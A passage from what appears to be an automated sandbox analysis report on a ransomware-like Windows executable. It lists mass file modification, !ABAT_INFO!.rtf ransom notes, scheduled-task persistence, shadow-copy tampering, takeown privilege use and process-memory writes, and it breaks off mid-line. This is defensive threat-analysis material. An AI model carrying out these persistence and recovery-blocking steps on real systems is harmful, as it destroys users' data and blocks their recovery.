81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\dnsns.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.console_1.0.300.v20131113-1212.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Thimphu 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\AST4 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Antarctica\Macquarie 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\GroupPublish.M2V 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiling_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\currency.data 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Accra 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Samarkand 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-core-kit_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\Workflow.Targets 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\create_stream.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\drvDX9.x3d 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Puerto_Rico 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\about.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-5 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Mozilla Maintenance Service\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\Form.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\Monticello 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.alert.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.app_1.3.200.v20130910-1609.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-plaf_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Metlakatla 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\vlc-48.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\abcpy.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\extcheck.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.RSA 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.util_8.1.14.v20131031.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_de.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Gambier 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\StopSwitch.i64 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\youtube.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\meta\art\02_frenchtv.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Indianapolis 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\PST8 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.commons.logging_1.1.1.v201101211721.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-util_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Tijuana 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\SetJoin.avi 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\db\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+3 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+9 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-compat_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\Class.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Damascus 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-swing-tabcontrol.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\rmiregistry.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Sitka 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\masterix.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-attach.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Riga 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Bishkek 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Majuro 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\help.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.eclipse.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-uisupport_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-heapdump.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\SettingsInternal.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jarsigner.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Lord_Howe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\fr.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 548 schtasks.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2016 vssadmin.exe -
Modifies Control Panel 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop reg.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop\WallpaperStyle = "0" reg.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop\TileWallpaper = "0" reg.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1936 gAw1Zqdb64.exe 1936 gAw1Zqdb64.exe 1936 gAw1Zqdb64.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 1936 gAw1Zqdb64.exe -
Suspicious use of AdjustPrivilegeToken 97 IoCs
description pid Process Token: SeDebugPrivilege 1936 gAw1Zqdb64.exe Token: SeLoadDriverPrivilege 1936 gAw1Zqdb64.exe Token: SeTakeOwnershipPrivilege 564 takeown.exe Token: SeTakeOwnershipPrivilege 1168 takeown.exe Token: SeTakeOwnershipPrivilege 1820 takeown.exe Token: SeTakeOwnershipPrivilege 1928 takeown.exe Token: SeTakeOwnershipPrivilege 548 takeown.exe Token: SeTakeOwnershipPrivilege 856 takeown.exe Token: SeTakeOwnershipPrivilege 2000 takeown.exe Token: SeTakeOwnershipPrivilege 1544 takeown.exe Token: SeTakeOwnershipPrivilege 1820 takeown.exe Token: SeTakeOwnershipPrivilege 1184 takeown.exe Token: SeTakeOwnershipPrivilege 2016 takeown.exe Token: SeTakeOwnershipPrivilege 1964 takeown.exe Token: SeTakeOwnershipPrivilege 2044 takeown.exe Token: SeTakeOwnershipPrivilege 1444 takeown.exe Token: SeTakeOwnershipPrivilege 2024 takeown.exe Token: SeTakeOwnershipPrivilege 1548 takeown.exe Token: SeTakeOwnershipPrivilege 340 takeown.exe Token: SeTakeOwnershipPrivilege 868 takeown.exe Token: SeTakeOwnershipPrivilege 1432 takeown.exe Token: SeTakeOwnershipPrivilege 1212 takeown.exe Token: SeTakeOwnershipPrivilege 336 takeown.exe Token: SeTakeOwnershipPrivilege 1880 takeown.exe Token: SeTakeOwnershipPrivilege 1176 takeown.exe Token: SeTakeOwnershipPrivilege 1012 takeown.exe Token: SeTakeOwnershipPrivilege 2000 takeown.exe Token: SeTakeOwnershipPrivilege 416 takeown.exe Token: SeTakeOwnershipPrivilege 1940 takeown.exe Token: SeTakeOwnershipPrivilege 1104 takeown.exe Token: SeTakeOwnershipPrivilege 240 takeown.exe Token: SeTakeOwnershipPrivilege 844 takeown.exe Token: SeTakeOwnershipPrivilege 1052 takeown.exe Token: SeBackupPrivilege 968 vssvc.exe Token: SeRestorePrivilege 968 vssvc.exe Token: SeAuditPrivilege 968 vssvc.exe Token: SeTakeOwnershipPrivilege 1604 takeown.exe Token: SeIncreaseQuotaPrivilege 1096 WMIC.exe Token: SeSecurityPrivilege 1096 WMIC.exe Token: SeTakeOwnershipPrivilege 1096 WMIC.exe Token: SeLoadDriverPrivilege 1096 WMIC.exe Token: SeSystemProfilePrivilege 1096 WMIC.exe Token: SeSystemtimePrivilege 1096 WMIC.exe Token: SeProfSingleProcessPrivilege 1096 WMIC.exe Token: SeIncBasePriorityPrivilege 1096 WMIC.exe Token: SeCreatePagefilePrivilege 1096 WMIC.exe Token: SeBackupPrivilege 1096 WMIC.exe Token: SeRestorePrivilege 1096 WMIC.exe Token: SeShutdownPrivilege 1096 WMIC.exe Token: SeDebugPrivilege 1096 WMIC.exe Token: SeSystemEnvironmentPrivilege 1096 WMIC.exe Token: SeRemoteShutdownPrivilege 1096 WMIC.exe Token: SeUndockPrivilege 1096 WMIC.exe Token: SeManageVolumePrivilege 1096 WMIC.exe Token: 33 1096 WMIC.exe Token: 34 1096 WMIC.exe Token: 35 1096 WMIC.exe Token: SeIncreaseQuotaPrivilege 1096 WMIC.exe Token: SeSecurityPrivilege 1096 WMIC.exe Token: SeTakeOwnershipPrivilege 1096 WMIC.exe Token: SeLoadDriverPrivilege 1096 WMIC.exe Token: SeSystemProfilePrivilege 1096 WMIC.exe Token: SeSystemtimePrivilege 1096 WMIC.exe Token: SeProfSingleProcessPrivilege 1096 WMIC.exe Token: SeIncBasePriorityPrivilege 1096 WMIC.exe Token: SeCreatePagefilePrivilege 1096 WMIC.exe Token: SeBackupPrivilege 1096 WMIC.exe Token: SeRestorePrivilege 1096 WMIC.exe Token: SeShutdownPrivilege 1096 WMIC.exe Token: SeDebugPrivilege 1096 WMIC.exe Token: SeSystemEnvironmentPrivilege 1096 WMIC.exe Token: SeRemoteShutdownPrivilege 1096 WMIC.exe Token: SeUndockPrivilege 1096 WMIC.exe Token: SeManageVolumePrivilege 1096 WMIC.exe Token: 33 1096 WMIC.exe Token: 34 1096 WMIC.exe Token: 35 1096 WMIC.exe Token: SeTakeOwnershipPrivilege 1840 takeown.exe Token: SeTakeOwnershipPrivilege 2008 takeown.exe Token: SeTakeOwnershipPrivilege 1940 takeown.exe Token: SeTakeOwnershipPrivilege 1888 takeown.exe Token: SeTakeOwnershipPrivilege 904 takeown.exe Token: SeTakeOwnershipPrivilege 1408 takeown.exe Token: SeTakeOwnershipPrivilege 764 takeown.exe Token: SeTakeOwnershipPrivilege 1780 takeown.exe Token: SeTakeOwnershipPrivilege 204 takeown.exe Token: SeTakeOwnershipPrivilege 948 takeown.exe Token: SeTakeOwnershipPrivilege 1644 takeown.exe Token: SeTakeOwnershipPrivilege 2028 takeown.exe Token: SeTakeOwnershipPrivilege 760 takeown.exe Token: SeTakeOwnershipPrivilege 216 takeown.exe Token: SeTakeOwnershipPrivilege 1780 takeown.exe Token: SeTakeOwnershipPrivilege 1056 takeown.exe Token: SeTakeOwnershipPrivilege 1452 takeown.exe Token: SeTakeOwnershipPrivilege 1548 takeown.exe Token: SeTakeOwnershipPrivilege 800 takeown.exe Token: SeTakeOwnershipPrivilege 1540 takeown.exe -
Suspicious use of WriteProcessMemory 4386 IoCs
description pid Process procid_target PID 1332 wrote to memory of 1828 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 27 PID 1332 wrote to memory of 1828 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 27 PID 1332 wrote to memory of 1828 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 27 PID 1332 wrote to memory of 1828 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 27 PID 1332 wrote to memory of 328 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 30 PID 1332 wrote to memory of 328 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 30 PID 1332 wrote to memory of 328 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 30 PID 1332 wrote to memory of 328 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 30 PID 1332 wrote to memory of 968 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 33 PID 1332 wrote to memory of 968 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 33 PID 1332 wrote to memory of 968 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 33 PID 1332 wrote to memory of 968 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 33 PID 1332 wrote to memory of 952 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 34 PID 1332 wrote to memory of 952 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 34 PID 1332 wrote to memory of 952 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 34 PID 1332 wrote to memory of 952 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 34 PID 968 wrote to memory of 1468 968 cmd.exe 37 PID 968 wrote to memory of 1468 968 cmd.exe 37 PID 968 wrote to memory of 1468 968 cmd.exe 37 PID 968 wrote to memory of 1468 968 cmd.exe 37 PID 952 wrote to memory of 1788 952 cmd.exe 38 PID 952 wrote to memory of 1788 952 cmd.exe 38 PID 952 wrote to memory of 1788 952 cmd.exe 38 PID 952 wrote to memory of 1788 952 cmd.exe 38 PID 968 wrote to memory of 1160 968 cmd.exe 39 PID 968 wrote to memory of 1160 968 cmd.exe 39 PID 968 wrote to memory of 1160 968 cmd.exe 39 PID 968 wrote to memory of 1160 968 cmd.exe 39 PID 968 wrote to memory of 1308 968 cmd.exe 40 PID 968 wrote to memory of 1308 968 cmd.exe 40 PID 968 wrote to memory of 1308 968 cmd.exe 40 PID 968 wrote to memory of 1308 968 cmd.exe 40 PID 1332 wrote to memory of 1632 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 41 PID 1332 wrote to memory of 1632 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 41 PID 1332 wrote to memory of 1632 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 41 PID 1332 wrote to memory of 1632 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 41 PID 1632 wrote to memory of 1896 1632 cmd.exe 43 PID 1632 wrote to memory of 1896 1632 cmd.exe 43 PID 1632 wrote to memory of 1896 1632 cmd.exe 43 PID 1632 wrote to memory of 1896 1632 cmd.exe 43 PID 1632 wrote to memory of 1980 1632 cmd.exe 44 PID 1632 wrote to memory of 1980 1632 cmd.exe 44 PID 1632 wrote to memory of 1980 1632 cmd.exe 44 PID 1632 wrote to memory of 1980 1632 cmd.exe 44 PID 1632 wrote to memory of 1968 1632 cmd.exe 45 PID 1632 wrote to memory of 1968 1632 cmd.exe 45 PID 1632 wrote to memory of 1968 1632 cmd.exe 45 PID 1632 wrote to memory of 1968 1632 cmd.exe 45 PID 1968 wrote to memory of 1992 1968 cmd.exe 46 PID 1968 wrote to memory of 1992 1968 cmd.exe 46 PID 1968 wrote to memory of 1992 1968 cmd.exe 46 PID 1968 wrote to memory of 1992 1968 cmd.exe 46 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 47 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 47 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 47 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 47 PID 616 wrote to memory of 336 616 cmd.exe 49 PID 616 wrote to memory of 336 616 cmd.exe 49 PID 616 wrote to memory of 336 616 cmd.exe 49 PID 616 wrote to memory of 336 616 cmd.exe 49 PID 616 wrote to memory of 940 616 cmd.exe 50 PID 616 wrote to memory of 940 616 cmd.exe 50 PID 616 wrote to memory of 940 616 cmd.exe 50 PID 616 wrote to memory of 940 616 cmd.exe 50 PID 1992 wrote to memory of 1936 1992 gAw1Zqdb.exe 51 PID 1992 wrote to memory of 1936 1992 gAw1Zqdb.exe 51 PID 1992 wrote to memory of 1936 1992 gAw1Zqdb.exe 51 PID 1992 wrote to memory of 1936 1992 gAw1Zqdb.exe 51 PID 616 wrote to memory of 980 616 cmd.exe 52 PID 616 wrote to memory of 980 616 cmd.exe 52 PID 616 wrote to memory of 980 616 cmd.exe 52 PID 616 wrote to memory of 980 616 cmd.exe 52 PID 980 wrote to memory of 868 980 cmd.exe 53 PID 980 wrote to memory of 868 980 cmd.exe 53 PID 980 wrote to memory of 868 980 cmd.exe 53 PID 980 wrote to memory of 868 980 cmd.exe 53 PID 616 wrote to memory of 1052 616 cmd.exe 54 PID 616 wrote to memory of 1052 616 cmd.exe 54 PID 616 wrote to memory of 1052 616 cmd.exe 54 PID 616 wrote to memory of 1052 616 cmd.exe 54 PID 1332 wrote to memory of 1372 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 55 PID 1332 wrote to memory of 1372 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 55 PID 1332 wrote to memory of 1372 